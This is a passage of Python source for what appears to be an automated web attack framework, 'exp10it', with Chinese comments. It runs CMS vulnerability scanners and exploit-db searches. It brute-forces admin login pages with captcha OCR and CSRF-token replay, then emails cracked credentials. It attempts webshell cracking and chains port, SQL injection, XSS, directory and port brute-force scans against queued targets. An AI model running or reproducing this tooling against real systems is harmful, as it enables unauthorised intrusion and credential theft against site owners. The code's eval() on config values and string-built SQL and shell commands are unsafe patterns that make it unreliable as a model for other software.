                    "ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit")
            os.system("searchsploit -u")
            os.system(
                "searchsploit -w -j -t %s 2>&1 | tee /tmp/searchsploit" % cms_value)
            with open("/tmp/searchsploit", "r+") as f:
                search_sploit_result = "\n\n_below are possible vuls from exploit-db.com,but you should check if it \
exist by yourself coz the cms version is not sure.\n\n" + f.read() + "\n\n_upon are possible vuls from exploit-db.com,but you should check if it \
exist by yourself coz the cms version is not sure.\n\n"
            os.system("rm /tmp/searchsploit")

            print(search_sploit_result)
            if cms_value == 'discuz':
                if not os.path.exists(ModulePath + "log/cms_scan_log/dzscan"):
                    os.system("cd %slog/cms_scan_log && mkdir dzscan" %
                              ModulePath)
                cms_scaner_list = os.listdir(ModulePath + "cms_scan")
                if "dzscan" not in cms_scaner_list:
                    os.system(
                        "cd %scms_scan && git clone https://github.com/code-scan/dzscan.git" % ModulePath)
                log_file = target.split("/")[-1].replace(".", "_") + ".log"

                if os.path.exists(ModulePath + "log/cms_scan_log/dzscan/" + log_file):
                    pass
                else:
                    # dzscan无法设置delay
                    os.system(
                        "cd %scms_scan/dzscan && python dzscan.py --update && python dzscan.py -u %s --log" %
                        (ModulePath, start_url))

                os.system("mv %scms_scan/dzscan/%s %slog/cms_scan_log/dzscan/" %
                          (ModulePath, log_file, ModulePath))
                cms_scan_result = ""
                if os.path.exists(ModulePath + "log/cms_scan_log/dzscan/" + log_file, "r+"):
                    with open(ModulePath + "log/cms_scan_log/dzscan/" + log_file, "r+") as f:
                        cms_scan_result = "Below result is from dzscan tool from github:\n" + "----------------------------------------------------------------\n" + \
                            f.read() + "----------------------------------------------------------------\n" + \
                            "Upon result is from dzscan tool from github"
                        cms_scan_result += search_sploit_result
                for each_table in table_name_list:
                    if get_scan_finished(
                        "cms_scaned",
                        DB_NAME,
                        each_table,
                        column_name,
                            start_url) == 0:
                        auto_write_string_to_sql(
                            cms_scan_result,
                            DB_NAME,
                            each_table,
                            "cms_scan_info",
                            column_name,
                            start_url)

            elif cms_value == 'joomla':
                if not os.path.exists(ModulePath + "log/cms_scan_log/joomscan"):
                    os.system("cd %slog/cms_scan_log && mkdir joomscan" %
                              ModulePath)
                cms_scaner_list = os.listdir(ModulePath + "cms_scan")
                if "joomscan" not in cms_scaner_list:
                    os.system("cd %scms_scan && wget \
http://jaist.dl.sourceforge.net/project/joomscan/joomscan/2012-03-10/joomscan-latest.zip \
&& unzip joomscan-latest.zip -d joomscan && rm joomscan-latest.zip" % ModulePath)
                # joomscan无法设置delay
                result = get_string_from_command(
                    "perl %scms_scan/joomscan/joomscan.pl" % ModulePath)
                if re.search(
                    r'you may need to install the Switch module',
                        result):
                    os.system(
                        "sudo apt-get -y install libswitch-perl && perl -MCPAN -e 'install WWW::Mechanize'")
                    log_file = "report/%s-joexploit.txt" % start_url.split(
                        "://")[-1].replace("/", "_")
                if os.path.exists(ModulePath + "log/cms_scan_log/joomscan/" + log_file):
                    pass
                else:
                    os.system(
                        "cd %scms_scan/joomscan && perl joomscan.pl update && perl joomscan.pl -u %s -ot" %
                        (ModulePath, start_url))

                os.system(
                    "mv %scms_scan/joomscan/%s log/cms_scan_log/joomscan/ " % (ModulePath, log_file))
                with open(ModulePath + "log/cms_scan_log/joomscan/" + log_file[7:], "r+") as f:
                    cms_scan_result = "Below result is from joomscan tool from github:\n" + "----------------------------------------------------------------\n" + \
                        f.read() + "----------------------------------------------------------------\n" + \
                        "Upon result is from joomscan tool from github"

                    cms_scan_result += search_sploit_result
                for each_table in table_name_list:
                    if get_scan_finished(
                        "cms_scaned",
                        DB_NAME,
                        each_table,
                        column_name,
                            start_url) == 0:
                        auto_write_string_to_sql(
                            cms_scan_result,
                            DB_NAME,
                            each_table,
                            "cms_scan_info",
                            column_name,
                            start_url)

            elif cms_value == 'wordpress':
                if not os.path.exists(ModulePath + "log/cms_scan_log/wpscan"):
                    os.system("cd %slog/cms_scan_log && mkdir wpscan" %
                              ModulePath)
                cms_scaner_list = os.listdir(ModulePath + "cms_scan")
                if "wpscan" not in cms_scaner_list:
                    os.system(
                        "cd %scms_scan && git clone https://github.com/wpscanteam/wpscan.git && cd wpscan && echo y | unzip data.zip" % ModulePath)
                result = get_string_from_command(
                    "ruby %scms_scan/wpscan/wpscan.rb" % ModulePath)
                if re.search(r'(ERROR)|(not find)|(missing gems)', result):
                    os.system("sudo apt-get -y install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev \
ruby-dev build-essential libgmp-dev zlib1g-dev")
                    os.system("gem install bundler && bundle install")
                log_file = "%s.txt" % start_url.split(
                    "://")[-1].replace("/", "_")
                if os.path.exists(ModulePath + "log/cms_scan_log/wpscan/" + log_file):
                    pass
                else:
                    # wpscan无法设置delay
                    os.system(
                        "cd %scms_scan/wpscan && ruby wpscan.rb --update && ruby wpscan.rb %s | tee %s" %
                        (ModulePath, start_url, log_file))
                    if not os.path.exists("%scms_scan/wpscan/%s" % (ModulePath, log_file)):
                        with open("%scms_scan/wpscan/%s" % (ModulePath, log_file), "a+") as f:
                            f.write("Sorry,wpscan got nothing.")
                    os.system(
                        "mv %scms_scan/wpscan/%s %slog/cms_scan_log/wpscan/" % (ModulePath, log_file, ModulePath))
                with open(ModulePath + "log/cms_scan_log/wpscan/" + log_file, "r+") as f:
                    cms_scan_result = "Below result is from wpscan tool from github:\n" + "----------------------------------------------------------------\n" + \
                        f.read() + "----------------------------------------------------------------\n" + \
                        "Upon result is from wpscan tool from github"
                    cms_scan_result += search_sploit_result
                for each_table in table_name_list:
                    if get_scan_finished(
                        "cms_scaned",
                        DB_NAME,
                        each_table,
                        column_name,
                            start_url) == 0:
                        auto_write_string_to_sql(
                            cms_scan_result,
                            DB_NAME,
                            each_table,
                            "cms_scan_info",
                            column_name,
                            start_url)


def single_crack_webshell_scan(target):

    global DB_NAME
    # table_name_list = get_target_table_name_list(target)
    target_urls_table_name = target.split("/")[-1].replace(".", "_") + "_urls"
    # regexp是大小写都匹配的,要强制只匹配大写或小写,要写成regexp binary '....'
    result = execute_sql_in_db(
        "select url from `%s` where url regexp '^http.*\.((php)|(asp)|(aspx)|(jsp))$'" %
        (target_urls_table_name), DB_NAME)
    if result is not None and len(result) > 0:
        for each in result:
            if len(each) > 0:
                # 在函数crack_webshell中包括检测url是否可能是webshell,并标记到数据库中相应字段,以及webshell爆破并根据爆
                # 破情况标记到数据库中相应字段,并邮件通知成功爆破的webshell
                crack_webshell(each[0])


def crack_admin_login_url(
        url,
        user_dict_file,
        pass_dict_file,
        yanzhengma_len=0):
    # 这里的yanzhengma_len是要求的验证码长度,默认不设置,自动获得,根据不同情况人为设置不同值效果更好
    # 爆破管理员后台登录url,尝试自动识别验证码,如果管理员登录页面没有验证码,加了任意验证码数据也可通过验证
    user_dict_file=ModulePath + "dicts/user.txt"
    pass_dict_file=ModulePath + "dicts/pass.txt"
    import requests
    figlet2file("cracking admin login url", 0, True)
    print("cracking admin login url:%s" % url)
    print("正在使用吃奶的劲爆破登录页面...")

    def crack_admin_login_url_thread(url, username, password):
        global DB_NAME
        if get_flag[0] == 1:
            return

        try_time[0] += 1
        if request_action == "GET":
            final_request_url = form_action_url
            final_request_url = re.sub(r"%s=[^&]*" % user_form_name, "%s=%s" %
                                       (user_form_name, username), final_request_url)
            final_request_url = re.sub(r"%s=[^&]*" % pass_form_name, "%s=%s" %
                                       (pass_form_name, password), final_request_url)
            if has_yanzhengma[0]:
                if need_only_get_one_yan_zheng_ma:
                    yanzhengma_value = only_one_yan_zheng_ma_value
                else:
                    yanzhengma_value = get_one_valid_yangzhengma_from_src(
                        yanzhengma_src)

                final_request_url = re.sub(r"%s=[^&]*" % yanzhengma_form_name, "%s=%s" %
                                           (yanzhengma_form_name, yanzhengma_value), final_request_url)
                if has_csrf_token:
                    final_request_url = re.sub(
                        r"%s=[^&]*" % csrf_token_name, current_csrf_token_part[0], final_request_url)

            html = s.get(final_request_url).text

            if has_csrf_token:
                csrf_token_value = get_csrf_token_value_from_html(html)
                current_csrf_token_part[0] = csrf_token_part + csrf_token_value
        else:
            # post request
            param_part_value = form_action_url.split("^")[1]
            param_list = param_part_value.split("&")
            values = {}
            for eachP in param_list:
                each_p_list = eachP.split("=")
                eachparam_name = each_p_list[0]
                eachparam_value = each_p_list[1]
                if eachparam_name == user_form_name:
                    eachparam_value = username
                if eachparam_name == pass_form_name:
                    eachparam_value = password
                values[eachparam_name] = eachparam_value

            if has_yanzhengma[0]:
                if not need_only_get_one_yan_zheng_ma:
                    values[yanzhengma_form_name] = get_one_valid_yangzhengma_from_src(
                        yanzhengma_src)
                else:
                    values[yanzhengma_form_name] = only_one_yan_zheng_ma_value

            if has_csrf_token:
                values[csrf_token_name] = re.search(
                    r"[^=]+=(.*)", current_csrf_token_part[0]).group(1)

            html = s.post(form_action_url.split("^")[0], values).text

            if has_csrf_token:
                csrf_token_value = get_csrf_token_value_from_html(html)
                current_csrf_token_part[0] = csrf_token_part + csrf_token_value

        USERNAME_PASSWORD = "(" + username + ":" + \
            password + ")" + (52 - len(password)) * " "
        # 每100次计算完成任务的平均速度

        left_time = get_remain_time(
            start[0],
            biaoji_time[0],
            remain_time[0],
            100,
            try_time[0],
            sum[0])
        remain_time[0] = left_time

        sys.stdout.write('-' * (try_time[0] * 100 // sum[0]) + '>' + str(try_time[0] * 100 // sum[0]) +
                         '%' + ' %s/%s  remain time:%s  %s\r' % (try_time[0], sum[0], remain_time[0], USERNAME_PASSWORD))

        sys.stdout.flush()

        if len(html) > logined_least_length:
            # 认为登录成功
            get_flag[0] = 1
            end = time.time()
            CLIOutput().good_print(
                "congratulations!!! admin login url cracked succeed!!!", "red")
            string = "cracked admin login url:%s username and password:(%s:%s)" % (
                url, username, password)
            CLIOutput().good_print(string, "red")
            return_string[0] = string
            print("you spend time:" + str(end - start[0]))
            http_domain_value = get_http_domain_from_url(url)
            # 经验证terminate()应该只能结束当前线程,不能达到结束所有线程
            target_info = get_target_table_name_info(url)
            column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"
            start_url = get_url_start_url(url)
            column_name_value = start_url if target_info['target_is_pang_or_sub'] else http_domain_value
            table_name_list = get_target_table_name_list(http_domain_value)
            urls_table_name = http_domain_value.split(
                "/")[-1].replace(".", "_") + "_urls"

            for each_table in table_name_list:
                auto_write_string_to_sql(
                    string,
                    DB_NAME,
                    each_table,
                    "cracked_admin_login_urls_info",
                    column_name,
                    column_name_value)
            # 将urls表中cracked_admin_login_url_info字段标记为爆破结果信息
            execute_sql_in_db(
                "update `%s` set cracked_admin_login_url_info='%s' where url='%s'" %
                (urls_table_name, string, url), DB_NAME)
            mail_msg_to(
                string,
                subject="cracked admin login url")

            return {'username': username, 'password': password}

    def crack_admin_login_url_inside_func(url, username, pass_dict_file):
        # urls和usernames是相同内容的列表
        urls = []
        usernames = []
        # passwords是pass_dict_file文件对应的所有密码的集合的列表
        passwords = []
        i = 0
        while 1:
            if os.path.exists(pass_dict_file) is False:
                print("please input your password dict:>", end=' ')
                pass_dict_file = input()
                if os.path.exists(pass_dict_file) is True:
                    break
            else:
                break
        f = open(pass_dict_file, "r+")
        for each in f:
            urls.append(url)
            usernames.append(username)
            each = re.sub(r"(\s)$", "", each)
            passwords.append(each)
            i += 1
        f.close()
        sum[0] = usernames_num * i
        if need_only_get_one_yan_zheng_ma or has_csrf_token:
            max_workers = 1
        else:
            max_workers = 20
        with futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
            executor.map(crack_admin_login_url_thread,
                         urls, usernames, passwords)

    def get_one_valid_yangzhengma_from_src(yanzhengma_url):
        # 这里不用exp10it模块中打包好的get_request和post_request来发送request请求,因为要保留session在服务器需要
        #yanzhengma = get_string_from_url_or_picfile(yanzhengma_src)
        while 1:
            import shutil
            response = s.get(yanzhengma_url, stream=True)
            with open('img.png', 'wb') as out_file:
                shutil.copyfileobj(response.raw, out_file)
            del response
            yanzhengma = get_string_from_url_or_picfile("img.png")
            os.system("rm img.png")

            time.sleep(3)
            if re.search(r"[^a-zA-Z0-9]+", yanzhengma):
                # time.sleep(3)
                continue
            elif re.search(r"\s", yanzhengma):
                continue
            elif yanzhengma == "":
                continue
            else:
                if yanzhengma_len != 0:
                    if len(yanzhengma) != yanzhengma_len:
                        continue
                # print(yanzhengma)
                # print(len(yanzhengma))
                break
        return yanzhengma

    a = get_request(url, by="selenium_phantom_jS")
    get_result = get_user_and_pass_form_from_html(a['content'])
    user_form_name = get_result['user_form_name']
    pass_form_name = get_result['pass_form_name']
    if user_form_name is None:
        print("user_form_name is None")
        return
    if pass_form_name is None:
        print("pass_form_name is None")
        return
    form_action_url = a['form_action_value']
    # default request action=post
    request_action = "POST"
    if a['has_form_action']:
        if "^" not in a['form_action_value']:
            request_action = "GET"
    else:
        print("url is not a admin login url entry")
        return

    get_flag = [0]
    return_string = [""]
    try_time = [0]
    sum = [0]
    start = [0]

    # 用来标记当前时间的"相对函数全局"变量
    biaoji_time = [0]
    # 用来标记当前剩余完成时间的"相对函数全局"变量
    tmp = time.time()
    remain_time = [tmp - tmp]
    # current_username_password={}

    has_yanzhengma = [False]
    find_yanzhengma = get_yanzhengma_form_and_src_from_url(url)
    if find_yanzhengma:
        yanzhengma_form_name = find_yanzhengma['yanzhengma_form_name']
        yanzhengma_src = find_yanzhengma['yanzhengma_src']
        has_yanzhengma = [True]

    has_csrf_token = False
    for_csrf_token = get_url_has_csrf_token(url)
    if for_csrf_token['has_csrf_token']:
        has_csrf_token = True
        csrf_token_name = for_csrf_token['csrf_token_name']
        csrf_token_part = csrf_token_name + "="
        current_csrf_token_part = [""]

    s = requests.session()
    # sesssion start place
    session_start = s.get(url)
    unlogin_length = len(session_start.text)
    # 如果post数据后返回数据长度超过未登录时的0.5倍则认为是登录成功
    logined_least_length = unlogin_length + unlogin_length / 2

    if has_csrf_token:
        csrf_token_value = get_csrf_token_value_from_html(session_start.text)
        current_csrf_token_part = [csrf_token_part + csrf_token_value]

    need_only_get_one_yan_zheng_ma = False
    if has_yanzhengma[0]:
        if "^" in form_action_url:
            # post request
            print(get_value_from_url(form_action_url.split("^")[0])['y1'])
            if get_value_from_url(form_action_url.split("^")[0])['y1'] != get_value_from_url(a['current_url'])['y1']:
                # should update yanzhengma everytime
                need_only_get_one_yan_zheng_ma = True
        else:
            # get request
            if get_value_from_url(form_action_url)['y1'] != get_value_from_url(a['current_url'])['y1']:
                need_only_get_one_yan_zheng_ma = True
        if need_only_get_one_yan_zheng_ma:
            print("Congratulation! Target login url need only one yanzhengma!!")

            import shutil
            response = s.get(yanzhengma_src, stream=True)
            with open('img.png', 'wb') as out_file:
                shutil.copyfileobj(response.raw, out_file)
            del response
            only_one_yan_zheng_ma_value = input(
                "Please open img.png and input the yanzhengma string:>")
            # get_string_from_url_or_picfile("img.png")
            os.system("rm img.png")

    with open(r"%s" % user_dict_file, "r+") as user_file:
        all_users = user_file.readlines()
        usernames_num = len(all_users)
        start[0] = time.time()
        for username in all_users:
            # 曾经双层多线程,没能跑完所有的组合,于是不再这里再开多线程
            username = re.sub(r'(\s)$', '', username)
            crack_admin_login_url_inside_func(
                a['current_url'], username, pass_dict_file)

    return return_string[0]


def single_crack_admin_page_scan(target):
    # 这里爆破所有可能是管理登录的页面,普通用户登录页面也爆破
    # target可以是主要目标或是主要目标的旁站或子站
    # dirb后缀扫描后与爬虫获得的url联合找出可疑登录页面,并进行爆破

    global DB_NAME
    urls_table_name = target.split("/")[-1].replace(".", "_") + "_urls"
    result = execute_sql_in_db(
        "select url from `%s` where like_admin_login_url='1'" %
        (urls_table_name), DB_NAME)
    if len(result) > 0:
        for each in result:
            # crack_admin_login_url函数包括登录页面爆破,并在爆破成功后标记相应字段到数据库与发送邮件

            # 这里设置验证码长度为4是为了在实验中真实验证码长度为4,具体自动化时应该将yanzhengma_len=4这个参数去掉
            crack_admin_login_url(each[0], yanzhengma_len=4)
    else:
        from colorama import init, Fore
        init(autoreset=True)
        print(
            Fore.YELLOW +
            "does't find a admin page to crack from %s" %
            target)


def get_http_pang_domains_list_from_db(target, db):
    # 从数据库中获取主要目标的旁站列表
    # target要是主要目标
    return_value = []
    pang_table_name = target.split("/")[-1].replace(".", "_") + "_pang"
    if not exist_table_in_db(pang_table_name, db):
        return []
    else:
        result = execute_sql_in_db(
            "select http_domain from `%s`" %
            pang_table_name, db)
        if len(result) > 0:
            for each in result:
                if len(each) > 0:
                    return_value.append(each[0])
        return return_value


def get_http_sub_domains_list_from_db(target, db):
    # 从数据库中获取主要目标的子站列表
    # target要是主要目标
    return_value = []
    sub_table_name = target.split("/")[-1].replace(".", "_") + "_sub"
    if not exist_table_in_db(sub_table_name, db):
        return []
    else:
        result = execute_sql_in_db(
            "select http_domain from `%s`" %
            sub_table_name, db)
        if len(result) > 0:
            for each in result:
                if len(each) > 0:
                    return_value.append(each[0])
        return return_value


def set_target_scan_finished(start_url):
    # 根据扫描模式设置扫描完成
    global DB_NAME
    global SCAN_WAY
    target = get_http_domain_from_url(start_url)
    main_target_table_name = get_main_target_table_name(target)
    pang_table_name = target.split("/")[-1].replace(".", "_") + "_pang"
    sub_table_name = pang_table_name[:-5] + "_sub"
    http_pang_domains_list = get_http_pang_domains_list_from_db(
        target, DB_NAME)
    http_sub_domains_list = get_http_sub_domains_list_from_db(
        target, DB_NAME)

    # 上面将pang和sub表中的相关scaned字段设置为1
    # 下面将targets|first_targets表中相关scaned字段设置为1

    # 将targets|first_targets表中的scan_finished字段在targets|first_targets表中与主要目标相关的scaned字段为1时设
    # 置为1,表示与主要目标相关的扫描全部完成,但不考虑旁站或子站的扫描情况
    columns_result = execute_sql_in_db(
        "select column_name from information_schema.columns where table_name='%s' and column_name regexp '.*scaned' and column_name not regexp '(pang)|(sub).*' order by table_name" %
        main_target_table_name, DB_NAME)
    if len(columns_result) > 0:
        for each in columns_result:
            column_name = each[0]

            column_scaned = get_scan_finished(
                column_name, DB_NAME, main_target_table_name, "start_url", start_url)
            if column_scaned == 0:
                return
        set_scan_finished(
            "scan_finished",
            DB_NAME,
            main_target_table_name,
            "start_url",
            start_url)

    # 将xxx_xxx_xxx_pang表中的scan_finished设置为1
    # 并将target|first_targets表中的pang_domains_scan_finished字段设置为1
    if SCAN_WAY == 1:
        # 将xxx_xxx_xxx_pang表中的scan_finished设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp '.*scaned' order by table_name" % pang_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each_http_pang_domain in http_pang_domains_list:
                scan_not_finished = 0
                for each in columns_result:
                    column_name = each[0]
                    column_scaned = get_scan_finished(
                        column_name, DB_NAME, pang_table_name, "http_domain", each_http_pang_domain)
                    if column_scaned == 0:
                        scan_not_finished = 1
                if scan_not_finished == 0:
                    set_scan_finished(
                        "scan_finished",
                        DB_NAME,
                        pang_table_name, "http_domain",
                        each_http_pang_domain)

        # 并将target|first_targets表中的pang_domains_scan_finished字段设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp 'pang.*scaned' order by table_name" % main_target_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each in columns_result:
                column_name = each[0]
                column_scaned = get_scan_finished(
                    column_name, DB_NAME,
                    main_target_table_name, "start_url", start_url)
                if column_scaned == 0:
                    return
            set_scan_finished(
                "pang_domains_scan_finished",
                DB_NAME,
                main_target_table_name,
                "start_url", start_url)

    # 将xxx_xxx_xxx_sub表中的scan_finished设置为1
    # 并将target|first_targets表中的sub_domains_scan_finished字段设置为1
    elif SCAN_WAY == 2:
        # 将xxx_xxx_xxx_sub表中的scan_finished设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp '.*scaned' order by table_name" % sub_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each_http_sub_domain in http_sub_domains_list:
                scan_not_finished = 0
                for each in columns_result:
                    column_name = each[0]
                    column_scaned = get_scan_finished(
                        column_name, DB_NAME,
                        sub_table_name, "http_domain", each_http_sub_domain)
                    if column_scaned == 0:
                        scan_not_finished = 1
                if scan_not_finished == 0:
                    set_scan_finished(
                        "scan_finished",
                        DB_NAME,
                        sub_table_name, "http_domain",
                        each_http_sub_domain)

        # 并将target|first_targets表中的sub_domains_scan_finished字段设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp 'sub.*scaned' order by table_name" % main_target_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each in columns_result:
                column_name = each[0]
                column_scaned = get_scan_finished(
                    column_name, DB_NAME,
                    main_target_table_name, "start_url", start_url)
                if column_scaned == 0:
                    return
            set_scan_finished(
                "sub_domains_scan_finished",
                DB_NAME,
                main_target_table_name, "start_url",
                start_url)

    # 将xxx_xxx_xxx_pang表中的scan_finished设置为1
    # 将xxx_xxx_xxx_sub表中的scan_finished设置为1
    # 并将targets|first_targets表中的pang_domains_scan_finished和sub_domains_scan_finished都设置为1
    elif SCAN_WAY == 3:
        # 将xxx_xxx_xxx_pang表中的scan_finished设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp '.*scaned' order by table_name" % pang_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each_http_pang_domain in http_pang_domains_list:
                scan_not_finished = 0
                for each in columns_result:
                    column_name = each[0]
                    column_scaned = get_scan_finished(
                        column_name, DB_NAME,
                        pang_table_name, "http_domain", each_http_pang_domain)
                    if column_scaned == 0:
                        scan_not_finished = 1
                if scan_not_finished == 0:
                    set_scan_finished(
                        "scan_finished",
                        DB_NAME,
                        pang_table_name,
                        "http_domain", each_http_pang_domain)

        # 将xxx_xxx_xxx_sub表中的scan_finished设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp '.*scaned' order by table_name" % sub_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each_http_sub_domain in http_sub_domains_list:
                scan_not_finished = 0
                for each in columns_result:
                    column_name = each[0]
                    column_scaned = get_scan_finished(
                        column_name, DB_NAME,
                        sub_table_name, "http_domain", each_http_sub_domain)
                    if column_scaned == 0:
                        scan_not_finished = 1
                if scan_not_finished == 0:
                    set_scan_finished(
                        "scan_finished",
                        DB_NAME,
                        sub_table_name, "http_domain",
                        each_http_sub_domain)

        # 并将targets|first_targets表中的pang_domains_scan_finished和sub_domains_scan_finished都设置为1
        columns_result = execute_sql_in_db("select column_name from information_schema.columns where \
table_name='%s' and column_name regexp '(pang)|(sub).*scaned' order by table_name" %
                                           main_target_table_name, DB_NAME)
        if len(columns_result) > 0:
            for each in columns_result:
                column_name = each[0]
                column_scaned = get_scan_finished(
                    column_name, DB_NAME,
                    main_target_table_name, "start_url", start_url)
                if column_scaned == 0:
                    return
            set_scan_finished(
                "pang_domains_scan_finished",
                DB_NAME,
                main_target_table_name, "start_url",
                start_url)
            set_scan_finished(
                "sub_domains_scan_finished",
                DB_NAME,
                main_target_table_name, "start_url",
                start_url)

    elif SCAN_WAY == 4:
        pass
    else:
        print("SCAN_WAY error,check it")


def auto_attack(start_url):
    # 自动化检测target流程
    # 根据扫描模式进行cdn情况扫描,如果有cdn,尝试获取真实ip
    # cdn模块的结果影响端口扫描模块,也影响是否进行旁站获取,cdn模块在获取旁站模块前要运行一次,
    # 在获取子站模块后要再运行一次,第1次是为了给是否获取旁站提供指导,第2次是为了给子站获取真实ip,给端口扫描子站
    # 提供指导
    global DB_NAME
    global SCAN_WAY
    target = get_http_domain_from_url(start_url)
    MyScanner(start_url, single_cdn_scan)
    # 第一次single_cdn_scan(模板中会将pang_domains_cdn_scaned或sub_domains_cdn_scaned根据SCAN_WAY设置为1)
    # 于是这里由于还没到获取旁站和子站模块,只是对主要目标进行single_cdn_scan,所以下面要将pang_domains_cdn_scaned
    # 和sub_domains_cdn_scaned设置为0
    main_target_table_name = get_main_target_table_name(target)
    if SCAN_WAY in [1, 3]:
        set_scan_unfinished(
            "pang_domains_cdn_scaned",
            DB_NAME,
            main_target_table_name,
            "start_url",
            start_url)
    if SCAN_WAY in [2, 3]:
        set_scan_unfinished(
            "sub_domains_cdn_scaned",
            DB_NAME,
            main_target_table_name,
            "start_url",
            start_url)

    # 根据扫描模式进行旁站获取
    get_pang_domains(target)
    # 根据扫描模式进行子站获取
    get_sub_domains(target)
    # 下面是第2次运行cdn模块,前面第1次的cdn模块中实际只会对主要目标进行cdn模块的运行,第2次的cdn模块的运行对子站
    # 进行cdn识别
    MyScanner(start_url, single_cdn_scan)
    # crawl_scan是对target相关的目标(pang domains或sub domains)全部执行crawl_url爬虫的函数
    crawl_scan(start_url)

    # 根据扫描模式进行端口扫描
    # 端口扫描暂不设置DELAY
    MyScanner(start_url, single_port_scan)
    # 根据扫描模式进行高危漏洞扫描
    MyScanner(start_url, single_risk_scan)
    # 根据扫描模式进行sqli漏洞扫描
    # sqli_scan与其他scan模块不同,此处不用MyScanner类
    sqli_scan(start_url)
    # 根据扫描模式进行xss扫描
    MyScanner(start_url, single_xss_scan)
    # 根据扫描模式进行目录扫描
    MyScanner(start_url, single_script_type_scan)
    # 根据扫描模式进行目标脚本类型获取
    MyScanner(start_url, single_dirb_scan)
    # 根据扫描模式进行cms扫描
    MyScanner(start_url, single_cms_scan)
    # 根据扫描模式进行webshell爆破扫描
    # single_crack_webshell_scan不设置DELAY
    MyScanner(start_url, single_crack_webshell_scan)
    # 根据扫描模式进行登录页面扫描
    # single_crack_admin_page_scan不设置DELAY
    MyScanner(start_url, single_crack_admin_page_scan)
    # 根据扫描模式进行端口暴破
    # 端口暴破暂不设置DELAY
    MyScanner(start_url, single_port_brute_crack_scan)
    # 根据扫描模式进行whois信息获取
    MyScanner(start_url, single_whois_scan)
    # 根据扫描模式设置扫描完成
    set_target_scan_finished(start_url)


def exp10itScanner():
    # 相当于扫描工具的main函数
    global DB_NAME
    global FIRST_TARGETS_TABLE_NAME
    global TARGETS_TABLE_NAME
    output = CLIOutput()
    warnings.filterwarnings('ignore', '.*have a default value.*')
    warnings.filterwarnings('ignore', '.*Data Truncated.*')
    scan_init()
    scan_way_init()
    database_init()
    while 1:
        target = get_one_target_from_db(DB_NAME, FIRST_TARGETS_TABLE_NAME)
        if target is None:
            target = get_one_target_from_db(DB_NAME, TARGETS_TABLE_NAME)
        if target is not None:
            # print(target)
            output.good_print("get a target for scan from database:")
            output.good_print(Fore.BLUE + target)
            auto_attack(target)
        else:
            output.good_print("all targets scan finished")
            break


ModulePath = os.path.abspath(__file__)[:-len(__file__.split("/")[-1])]
HOME_PATH = os.path.expanduser("~")
CONFIG_PATH = HOME_PATH + "/.exploit"
CONFIG_INI_PATH = HOME_PATH + "/.exploit" + "/config.ini"
LOG_FOLDER_PATH = HOME_PATH + "/.exploit" + "/log"

DB_SERVER = ""
DB_USER = ""
DB_PASS = ""
DB_NAME = "exploitdb"
TARGETS_TABLE_NAME = "targets"
FIRST_TARGETS_TABLE_NAME = "first_targets"
DELAY = ""
SCAN_WAY = ""

if os.path.exists(CONFIG_INI_PATH):
    DB_SERVER = eval(get_key_value_from_config_file(
        CONFIG_INI_PATH, 'default', 'db_server'))
    DB_USER = eval(get_key_value_from_config_file(
        CONFIG_INI_PATH, 'default', 'db_user'))
    DB_PASS = eval(get_key_value_from_config_file(
        CONFIG_INI_PATH, 'default', 'db_pass'))
    DELAY = eval(get_key_value_from_config_file(
        CONFIG_INI_PATH, 'default', 'delay'))
    SCAN_WAY = eval(get_key_value_from_config_file(
        CONFIG_INI_PATH, 'default', 'scan_way'))

if __name__ == '__main__':
    figlet2file("exploit", 0, True)
    time.sleep(1)

    pymysql.install_as_MySQLdb()

    a = get_string_from_command("apt list python-requests")
    if not re.search(r"python-requests", a, re.I):
        os.system("apt-get install python-requests")
    a = get_string_from_command("apt list python-dnspython")
    if not re.search(r"python-dnspython", a, re.I):
        os.system("apt-get install python-dnspython")
    a = get_string_from_command("apt list ack")
    if not re.search(r"ack", a, re.I):
        os.system("apt-get install ack")

    exp10itScanner()